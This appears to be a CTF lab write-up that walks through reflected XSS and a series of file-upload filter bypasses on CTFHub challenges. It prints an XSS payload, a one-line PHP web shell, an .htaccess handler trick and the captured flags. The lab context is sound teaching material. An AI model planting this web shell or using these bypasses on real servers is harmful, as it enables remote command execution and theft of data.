Reflected Cross-Site Scripting

In this scenario, user input is directly reflected in the page output. A simple HTML/JavaScript payload can be injected to verify the vulnerability.

<img src="x" onerror="console.log('XSS')">

After submitting the payload through the form, the page executes the script, confirming the injection. The application passes the parameter via the URL query string, so a second input field expecting a URL triggers a backend request when the payload is supplied. By setting up an XSS testing platform (e.g., a Beeceptor endpoint or similar), the cookie or flag can be captured.

After sending the crafted URL to the platform, the flag is received:

ctfhub{dd876283c7836e1929c9f9793b95c162d92a7a15}

Unrestricted File Upload

The application permits arbitrary file uploads without any validation. A PHP web shell can be created:

<?php system($_REQUEST['cmd']); ?>

Upload this file. After successful upload, use a tool like AntSword (or a simple command injection via browser) to access the web shell and retrieve the flag from the server's web root.

ctfhub{d9de0e104985706acfc4dac329ff4e3c8415a862}

Client‑Side Validation Bypass

Attempting to upload a .php file triggers a JavaScript alert blocking the operation. Inspecting the page reveals a whitelist check in the front‑end code. By removing the validation function from the DOM or modifying the allowed extensions list to include php, the restriction is bypassed.

After uploading the same web shell, connect remotely to read the flag.

ctfhub{3f39f60713f9667252322c17e11eb8f87c59ff77}

.htacces Configuration Trick

Source code review shows a blacklist filter. Uploading a .php file fails, but an image file succeeds. The goal is to make the server interpret an image file as PHP. Craft a .htaccess file with a directive to associate a harmless extension with the PHP handler:

AddType application/x-httpd-php .jpg

Upload the .htaccess file first, then upload a JPEG image containing the PHP shell code. When the renamed image is accessed, it executes PHP, allowing remote connection and flag retrieval.

ctfhub{acb58985ce696cd969b2017a546120aac5c85414}

MIME Type Spoofing

The server checks the Content-Type header during upload. Intercept the request and modify the MIME type to an allowed one (e.g., image/jpeg). The PHP file is accepted, and the shell can be exploited.

ctfhub{bed028163c013365ca24283f879fa4c3a159b068}

Magic Bytes Check Evasion

The application verifies file magic numbers. A pure PHP file is rejected. Attach a valid GIF header (GIF89a) at the beginning of the file, followed by the PHP code, and save it with a .php extension. The server validates the magic bytes and treats it as a GIF, but execution still processes the PHP code when accessed directly.

ctfhub{...}

Null Byte Truncation

The upload path is visible in the request. By appending %00 (null byte) to the filename, early PHP versions terminate the string at that byte, discarding the real extension. Similarly, the path parameter can be truncated. After manipulating both path and filename with %00, the shell is stored with an allowed extension but interpreted as PHP.

ctfhub{88b884faa3879476c2040b5a29329ed64d3a1ed5}

Double Extension Bypass

The server strips the .php extension once. By doubling the desired extension (pphphp), the filter removes the inner php, leaving a valid .php file. After upload, connect to the shell and obtain the flag.

ctfhub{c2d9a4e2969fd3c8de709c8fe16d5a774f8e5276}